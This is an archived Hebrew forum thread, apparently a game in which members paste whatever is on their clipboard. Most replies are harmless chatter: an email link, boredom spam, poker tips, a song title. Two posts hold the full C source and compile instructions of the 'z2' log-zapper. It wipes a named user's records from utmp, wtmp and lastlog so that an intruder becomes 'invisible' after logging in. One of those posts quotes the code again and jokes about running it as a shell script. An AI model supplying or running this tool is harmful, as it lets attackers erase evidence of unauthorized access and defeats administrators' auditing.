עבור לתוכן

הדביקו נא (הנושא הכי שטותי)

Featured Replies

פורסם

סקרנים לדעת מה אנשים עושים במחשב?

הדביקו (paste) מה שיש לכם בקליפ בורד ושלחו פה.

למי שלא יודע, אם יש כאלו פה בכלל, אז לוחצים

ctrl+v

הינה מה שיש אצלי בקליפ בורד:

mailto:info@alteregorecords.com

  • תגובות 30
  • צפיות 2.7k
  • נוצר
  • תגובה אחרונה
פורסם

" "

כלום :silly:

פורסם
  • מחבר

" "

כלום :silly:

חחח...

פורסם

משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמם לי משעמ

סורי, בדיוק הצפתי במסנג'ר שמשעמם לי...

:-X

פורסם

Here is the area you will look for right at the top of the file:

#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

Most of the systems I login to are:

#define WTMP_NAME "/var/adm/wtmp"
#define UTMP_NAME "/var/adm/utmp"
#define LASTLOG_NAME "/var/adm/lastlog"

But you do your own look around to see were the files are. Also /var/log:
is a regular location.

Add the log locations for each system, compile the file, and you are all ready
to be invisible right after the login using z2

If i was to compile a file called z2.c that would zap the log files i would
type this:

gcc z2.c -o zap

This would give me a file that would exe, called zap

If I just typed : gcc z2.c I would have a file named a.out, that was the executable
file and would have to rename it to zap, or some name i would know by doing
this: mv a.out zap

Now I would have a file named zap that was executable instead of a.out.

Here is the .c file

++++++++++++++++++++++++++++++++++++++++++++++++++++++

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}

אממ בוא נראה מי יודע מה עושה הסקריפט הזה.

פורסם

UGFFSEP

פורסם

(15:19:01) (wangest) MEN

(15:19:02) (wangest) ?

גם לי אין מושג.

פורסם

אם שחקן מקפיץ את הרגל שלו או לועס מסטיק או נראה מתוח ודרוך, מסוכן לבלף נגדו מכיוון שהוא בא לשחק פוקר ולהיות באקשן, ולכן הוא ישווה המון פעמים ואתה תסתכן. זה גם אומר שניתן להמר יותר בכבדות נגד שחקן כזה אם יש לך יד טובה.

חחח

נתתי מספר טיפים מ"פנקס הלימוד שלי" לחבר באייסי שרוצה להצטרף למשחקים שלנו... :o

פורסם

אם שחקן מקפיץ את הרגל שלו או לועס מסטיק או נראה מתוח ודרוך, מסוכן לבלף נגדו מכיוון שהוא בא לשחק פוקר ולהיות באקשן, ולכן הוא ישווה המון פעמים ואתה תסתכן. זה גם אומר שניתן להמר יותר בכבדות נגד שחקן כזה אם יש לך יד טובה.

חחח

נתתי מספר טיפים מ"פנקס הלימוד שלי" לחבר באייסי שרוצה להצטרף למשחקים שלנו... :o

אוו ממש נכנסת לזה כבר.

יש לחבר שלי עכשיו בית ריק למשך חודש...נשחק פוקר עד שנתעלף.

פורסם

מפליץ

ושומע מוזיקה?:S

:hi:

פורסם

אוו ממש נכנסת לזה כבר.

יש לחבר שלי עכשיו בית ריק למשך חודש...נשחק פוקר עד שנתעלף.

כן, דיי.. :)

אני מתחיל לקרוא עכשיו "סיפרון" קצר על פוקר... יש שם טיפים נחמדים ששווים כמעט כמו ללמוד מניסיון אישי.. ;)

אם אתה מכיר super system... :P

פורסם

Here is the area you will look for right at the top of the file:

#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

Most of the systems I login to are:

#define WTMP_NAME "/var/adm/wtmp"
#define UTMP_NAME "/var/adm/utmp"
#define LASTLOG_NAME "/var/adm/lastlog"

But you do your own look around to see were the files are. Also /var/log:
is a regular location.

Add the log locations for each system, compile the file, and you are all ready
to be invisible right after the login using z2

If i was to compile a file called z2.c that would zap the log files i would
type this:

gcc z2.c -o zap

This would give me a file that would exe, called zap

If I just typed : gcc z2.c I would have a file named a.out, that was the executable
file and would have to rename it to zap, or some name i would know by doing
this: mv a.out zap

Now I would have a file named zap that was executable instead of a.out.

Here is the .c file

++++++++++++++++++++++++++++++++++++++++++++++++++++++

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}

אממ בוא נראה מי יודע מה עושה הסקריפט הזה.

זה מה שיצא לי..

./script: line 1: Here: command not found
./script: line 7: Most: command not found
./script: line 13: But: command not found
./script: line 14: /var/log:: No such file or directory
./script: line 15: is: command not found
./script: line 17: Add: command not found
./script: line 18: ready: command not found
./script: line 19: to: command not found
./script: line 21: If: command not found
./script: line 22: would: command not found
./script: line 23: type: this:: not found
gcc: z2.c: No such file or directory
gcc: no input files
./script: line 27: This: command not found
./script: line 29: If: command not found
./script: line 30: the: command not found
and: ERROR: cannot open `and' (No such file or directory)
would: ERROR: cannot open `would' (No such file or directory)
have: ERROR: cannot open `have' (No such file or directory)
to: ERROR: cannot open `to' (No such file or directory)
rename: ERROR: cannot open `rename' (No such file or directory)
it: ERROR: cannot open `it' (No such file or directory)
to: ERROR: cannot open `to' (No such file or directory)
zap,: ERROR: cannot open `zap,' (No such file or directory)
or: ERROR: cannot open `or' (No such file or directory)
some: ERROR: cannot open `some' (No such file or directory)
name: ERROR: cannot open `name' (No such file or directory)
i: ERROR: cannot open `i' (No such file or directory)
would: ERROR: cannot open `would' (No such file or directory)
know: ERROR: cannot open `know' (No such file or directory)
by: ERROR: cannot open `by' (No such file or directory)
./script: line 32: doing: command not found
./script: line 33: this:: command not found
./script: line 35: Now: command not found
./script: line 37: Here: command not found
./script: line 39: ++++++++++++++++++++++++++++++++++++++++++++++++++++++: command not found
./script: line 53: int: command not found
./script: line 55: syntax error near unexpected token `('
./script: line 55: `void kill_utmp(who)'

ומה שהיה לי בהדבק זה : Maroon 5 - Makes Me Wonder

ארכיון

דיון זה הועבר לארכיון ולא ניתן להוסיף בו תגובות חדשות.

דיונים חדשים